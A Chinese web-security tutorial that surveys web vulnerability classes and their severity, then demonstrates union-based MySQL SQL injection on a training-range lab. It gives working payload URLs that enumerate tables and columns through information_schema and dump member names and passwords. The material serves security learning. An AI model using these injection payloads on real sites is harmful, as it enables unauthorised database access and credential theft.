WEB漏洞-----SQL

壹.基础知识

前言

讲解各种WEB层面上的有哪些漏洞类型,具体漏洞的危害等级,以及简要的影响范围测试进行实例分析,思维导图中的漏洞也是我们将要学习到的各个知识点,其实针对漏洞的形成原理,如何发现,如何利用。

结构图

实际应用

CTF,SRC,红蓝对抗

简要说明以上漏洞危害情况

  1. SQL注入

    1. 攻击者未经授权可以访问数据库中的数据,盗取用户的隐私以及个人信息,造成用户的信息泄露。
    2. 可以对数据库的数据进行增加或删除操作,例如私自添加或删除管理员账号。
    1. 如果网站目录存在写入权限,可以写入网页木马。攻击者进而可以对网页进行篡改,发布一些违法信息等。
    2. 经过提权等步骤,服务器最高权限被攻击者获取。攻击者可以远程控制服务器,安装后门,得以修改或控制操作系统。
  2. XSS

    1. 窃取管理员帐号或Cookie,入侵者可以冒充管理员的身份登录后台。使得入侵者具有恶意操纵后台数据的能力,包括读取、更改、添加、删除一些信息。
    2. 窃取用户的个人信息或者登录帐号,对网站的用户安全产生巨大的威胁。例如冒充用户身份进行各种操作
    1. 网站挂马。先将恶意攻击代码嵌入到Web应用程序之中。当用户浏览该挂马页面时,用户的计算机会被植入木马
    2. 发送广告或者垃圾信息。攻击者可以利用XSS漏洞植入广告,或者发送垃圾信息,严重影响到用户的正常使用
  3. XXE

    1. 读取任意文件
    2. 执行系统命令
    1. 探测内网端口
    2. 攻击内网网站
  4. 文件上传

如果 Web应用程序存在上传漏洞 , 攻击者甚至可以将一个webshell直接上传到服务器上

  1. 文件包含(能含有文件包含的漏洞:inurl:php?file=)

    1. web服务器的文件被外界浏览导致信息泄露
    2. 脚本被任意执行,可能会篡改网站、执行非法操作、攻击其他网站
  2. 文件读取

通过任意文件下载,可以下载服务器的任意文件,web业务的代码,服务器和系统的具体配置信息,也可以下载数据库的配置信息,以及对内网的信息探测等等

  1. CSRF(用户请求伪造

    1. 以受害者名义发送邮件,发消息,盗取受害者的账号,甚至购买商品,虚拟货币转账,修改受害者的网络配置(比如修改路由器DNS、重置路由器密码)等等
    2. 个人隐私泄露、机密资料泄露、用户甚至企业的财产安全
  2. SSRF (服务器端请求伪造)

    1. 可以对外网、服务器所在内网、本地进行端口扫描,获取一些服务的banner 信息
    2. 攻击运行在内网或本地的应用程序
    1. 攻击内外网的 web 应用,主要是使用 GET 参数就可以实现的攻击(如:Struts2,sqli)
    2. 下载内网资源(如:利用file协议读取本地文件等)
    1. 进行跳板
    2. 无视cdn
    1. 利用Redis未授权访问,HTTP CRLF注入实现getshell
  3. 反序列化

远程攻击者利用漏洞可在未经任何身份验证的服务器主机上执行任意代码,被攻击者间接控制服务器

  1. 代码执行

    1. 代码执行漏洞造成的原理是由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令,可能会允许攻击者通过改变 $PATH 或程序执行环境的其他方面来执行一个恶意构造的代码。造成代码执行相关的函数分别是:eval、assert函数
    2. 暴露服务器信息
    1. 木马植入
    2. 敏感文件暴露
    1. 可能升级为命令执行
  2. 逻辑漏洞

    1. 在提交订单的时候抓取数据包或者直接修改前端代码,然后对订单的金额任意修改。
    2. 黑客只需要抓取Response数据包便知道验证码是多少或直接绕过
    1. 有些业务的接口,因为缺少了对用户的登陆凭证的较验或者是验证存在缺陷,导致黑客可以未经授权访问这些敏感信息甚至是越权操作
    2. 有些关键性的接口因为没有做验证或者其它预防机制,容易遭到枚举攻击
    1. Cookie的效验值过于简单。有些web对于cookie的生成过于单一或者简单,导致黑客可以对cookie的效验值进行一个枚举
    2. 单纯读取内存值数据来当作用户凭证
    1. 用户修改密码时,邮箱中会收到一个含有auth的链接,在有效期内用户点击链接,即可进入重置密码环节。而大部分网站对于auth的生成都是采用rand()函数,那么这里就存在一个问题了,Windows环境下rand()最大值为32768,所以这个auth的值是可以被枚举的
  3. 未授权访问

敏感信息泄露

  1. 命令执行

    1. 继承Web服务程序的权限去执行系统命令或读写文件
    2. 反弹shell
    1. 控制整个网站甚至控制服务器
    2. 进一步内网渗透
  2. 目录遍历

攻击者通过访问网站某一目录时,该目录没有默认首页文件或没有正确设置默认首页文件,将会把整个目录结构列出来,将网站结构完全暴露给攻击者; 攻击者可能通过浏览目录结构,访问到某些隐秘文件(如PHPINFO文件、服务器探针文件、网站管理员后台访问地址、数据库连接文件等)

简要说明以上漏洞等级划分

漏洞危害决定漏洞等级:

高危漏洞:SQL注入、文件上传、文件包含、代码执行、未授权访问、命令执行

影响:直接影响到网站权限和数据库权限,能够获取数据或者网站的敏感文件。涉及到数据安全和权限的丢失都为高危漏洞

中危漏洞:反序列化、逻辑安全

低危漏洞:XSS跨站、目录遍历、文件读取

影响:网站的源码,网站部分账号密码

简要说明以上漏洞重点内容

CTF:SQL注入、文件上传、反序列化、代码执行

SRC:图片上漏洞都能出现,逻辑安全出现比较多

红蓝对抗:涉及的高危漏洞,文件上传、文件包含、代码执行、命令执行

简要说明以上漏洞形势问题

找不到漏洞是因为:信息收集没做好,自己对漏洞的理解不够


贰.简要SQL注入–MySQL

前言

sql注入针对程序员编写时的疏忽,通过sql语句,进行数据库中数据的查询

SQL注入的分类

1.从注入手法分类可以分为:联合查询注入、报错型注入、布尔型注入、延时注入、堆叠注入

2.从数据类型上可以分为:字符型(即输入的输入使用符号进行过滤)、数值型(即输入的输入未使用符号进行过滤)

3.从注入位置可以分类为:GET数据(提交数据方式为GET,大多存在地址栏)、POST数据(提交数据方式为POST,大多存在输入框中)、HTTP头部(提交数据方式为HTTP头部)、cookie数据(提交数据方式为cookie)

SQL注入的危害

分为两类:危害数据库里的数据、直接危害到网站的权限(需要满足条件)

1.数据库信息泄露

2.网页篡改:登陆后台后发布恶意内容

3.网站挂马 : 当拿到webshell时或者获取到服务器的权限以后,可将一些网页木马挂在服务器上,去攻击别人

4.私自添加系统账号

5.读写文件获取webshell

MySQL数据库结构

数据库A=网站A=数据库用户A

​ 表名

     列名

​ 数据

数据库B=网站B=数据库用户B

​ 。。。。。。

必要知识

1.在MySQL5.0及以上版本中自带了一个数据库名为information_schema的数据库,它是一个存储有所有数据库名,表名,列名的数据库。

2.数据库中“.”表示下一级。

3.常用参数

information_schema.tables:记录所有数据库表名的表

information_schema.columns:记录所有数据库列名的表

table_name:表名

column_name:列明

table_schema:数据库名

user():查看当前数据库登陆的用户名

database():查看当前数据库名

version():查看当前数据库版本

order by 判断字段数

如何判断注入点

老方法:

例子:

SELECT * FROM users WHERE id=1 and 1=1 正常

SELECT * FROM users WHERE id=1 and 1=2 错误

表示id存在注入点,因为它表示and后面的语句被带入了sql语句

新方法:

SELECT * FROM users WHERE id=1asad(随便输入) 报错 且没有出现页面跳转到首页

也表示id存在注入,原理同上。

题目

1.可能存在注入的有哪些?

www.xiaodi8.com/index.php?id=8

www.xiaodi8.com/?id=10

www.xiaodi8.com/?id=10&x=1

www.xiaodi8.com/index.php(post注入)

以上四个都可能存在注入

2.参数x存在注入,一下哪个注入则是正确

A.www.xiaodi8.com/new/php?y=1 and 1=1&x=2

B.www.xiaodi8.com/new/php?y=1&x=2 and 1=1

C.www.xiaodi8.com/new/php?y=1 and 1=1 & x=2 and 1=1

D.www.xiaodi8.com/new/php?xx=1 and 1=1&xxx=2 and 1=1

3.如果参数id存在注入,参数位置可以互换,使用注入工具时要注意

http://www/cnhgs.net/main.php?id53(注入点) and 1=2 &page=1

可惜写成

http://www/cnhgs.net/main.php?page=1&id53(注入点) and 1=2

SQL注入利用

演示,通过演示来说明步骤(墨者学院靶场)

1.打开网站,判断注入点


可以判断出id存在注入

2.判断字段数

因为union联合查询字段数必须保持一样,否则会报错

可以判断处字段数为4

3.联合查询

报错准备

可看到在2,3有输出,则在后续信息收集中更改2,3字段

4.查看当前数据库名,数据库版本,数据库用户,操作系统

数据库版本:version() 5.7.22-0ubuntu0.16.04.1

数据库名字:database() mozhe_Discuz_StormGroup

数据库用户:user() root@localhost

操作系统:@@version_compile_os Linux

5.查询指定数据库名mozhe_Discuz_StormGroup下的表名信息:

http://219.153.49.228:45517/new_list.php?id=-1 union select 1,2,table_name,4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup'

http://219.153.49.228:45517/new_list.php?id=-1 union select 1,2,group_concat(table_name),4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup'

比上面多了一个group_concat()函数,如果本来一行只能显示一个信息,加上这个函数后会显示完所有信息

由此可见,该数据库下有两个表

StormGroup_member ,notice

6.查询StormGroup_member表下的列名

http://219.153.49.228:45517/new_list.php?id=-1 union select 1,2,group_concat(column_name),4 from information_schema.columns where table_name='StormGroup_member'

7.查询相关信息

http://219.153.49.228:45517/new_list.php?id=-1 union select 1,name,password,4 from StormGroup_member limit 1,1

limit 1,1是限制查询结果返会的数量

用法:【select * from tableName limit i,n 】

  • tableName : 为数据表;
  • i : 为查询结果的索引值(默认从0开始);
  • n : 为查询结果返回的数量

8.MD5解密,登录即可得到key

网络安全之WEB注入漏洞(上)相关推荐

  1. cmseasy(易通CMS) 注入漏洞 上传漏洞 爆路径ODAY(含修复)

    注入漏洞 注入点:/celive/js/include.php?cmseasylive=1111&departmentid=0 类型: mysql blind-string 错误关键字:onl ...

  2. 德慎思信息安全-OWASP 系列之注入漏洞(上)

    OWASP 系列之注入漏洞(下) 摘要 上一期,我们介绍了注入漏洞中常见的 SQL 注入漏洞,主要内容是以 MySQL 为例介绍了 SQL注入的基本原理,并举例了几个常见的注入手法与原理.本期我们来介 ...

  3. web漏洞(CSRF-SSRF-文件包含-文件解释-文件下载-目录遍历-sql注入-文件上传-反序列化-XSS-XXE-RCE-逻辑越权)

    1.CSRF(跨站请求伪造)(需要对方是在登录的情况下)--主要用于骗转账等等 原理:A在已经登录了银行的网站,并且此时去访问了B所构造的网页添加了特殊代码,A点击了B,由于A已经登录了,就造成了A直 ...

  4. 【网络安全】WEB漏洞 pickchu靶场搭建:实例演示sql数字注入、目录遍历漏洞、文件下载漏洞

    WEB漏洞01 CTE,SRc,红蓝对抗,实战等#简要说明以上漏洞危害情况 #简要说明以上漏洞等级划分 #简要说明以上漏洞重点内容 #简要说明以上漏洞形势问题 靶场搭建:https://github. ...

  5. 【愚公系列】2023年05月 网络安全高级班 065.WEB渗透与安全(SQL注入漏洞-手工注入)

    文章目录 前言 一.SQL注入漏洞-手工注入 1.错误注入 2.布尔注入 2.1 通过`'or 1=1 --` 注入 2.2 通过`admin'or 1=1 --` 注入 3.联合注入 3.1 查看u ...

  6. [网络安全提高篇] 一〇五.SQL注入之揭秘Oracle数据库注入漏洞和致命问题(联合Cream老师)

    当您阅读到该篇文章时,作者已经将"网络安全自学篇"设置成了收费专栏,首先说声抱歉.感谢这一年来大家的阅读和陪伴,这100篇安全文章记录了自己从菜鸡到菜鸟的成长史,该部分知识也花了很 ...

  7. 网络安全-记录web漏洞修复

    网络安全-记录web漏洞修复 背景介绍 最近政府部门都在组织网络系统安全检测,我们公司开发的某一个系统前端也被检出了漏洞,需要解决一下 前端使用vue框架开发,使用nginx进行部署 漏洞 如图所示总 ...

  8. WEB安全:XSS漏洞与SQL注入漏洞介绍及解决方案

    对web安全方面的知识非常薄弱,这篇文章把Xss跨站攻击和sql注入的相关知识整理了下,希望大家多多提意见. 对于防止sql注入发生,我只用过简单拼接字符串的注入及参数化查询,可以说没什么好经验,为避 ...

  9. 【网络安全】SQL注入攻击思路手法总结(上)

    一.前言 本文为自己对SQL注入这个攻击手法的理解,跟大家一起分享SQL注入知识. 分上下篇,上篇为攻击手法概括,初稿不会写太多,后面会更新:下篇为防御篇,会把一些常见的,不常见的写进去. 二.概念 ...

最新文章

  1. [翻译] MotionBlur
  2. ​灾备,让世界早有准备
  3. Python词频对比并导入CSV文件
  4. C++求任意多项式的所有可能的近似根durand kerner roots(附完整源码)
  5. Some cloud foundry deployment screenshot
  6. 卷积神经网络训练模拟量化实践
  7. (十七)WebGIS中距离及面积测量的原理和实现以及坐标转换的简单介绍
  8. 第97课 寻找亲密数对_例97.1 《小学生C++编程入门》
  9. python 判断数字连续_关于python:检测列表中的连续整数
  10. CursorLoader的进级实践
  11. vmware磁盘扩容_CentOS7扩容分区(LVM)
  12. Python使用pytest框架进行单元测试
  13. scala method与function的区别
  14. Xcode6 - 更改项目Copyright
  15. 【论文笔记】激光里程计网络 LO-Net:Deep Real-time Lidar Odometry2019
  16. 解决求平均值出现加和导致的溢出问题
  17. yolov5+deepsort车辆跟踪、计数、测速、碰撞检测、违规驶入检测(课程设计)
  18. Spring Boot过滤器和拦截器详解
  19. 招聘简历管理系统(初步设计)
  20. 前端开发优秀简历_这就是如今成为优秀的前端开发人员所需要的

热门文章

  1. 升讯威微信营销系统开发实践:(1)功能概要与架构设计( 完整开源于 Github)...
  2. php ip高精度定位,高精度IP定位
  3. 树莓派外设开发之玩传感器
  4. 企业应收账款管理存在的问题及对策
  5. python爬虫120源码DIY--001--抓取桌面壁纸
  6. 【web渗透】专栏文章汇总
  7. 亚马逊CTO:未来十年的三大风向标
  8. Eigen 常用操作
  9. 【解决方案】5G时代浪潮来袭,EasyNVR助力5G厂区视频监控安防采集可视化展示
  10. 涂鸦智能全功能智慧植物生长系统(展示)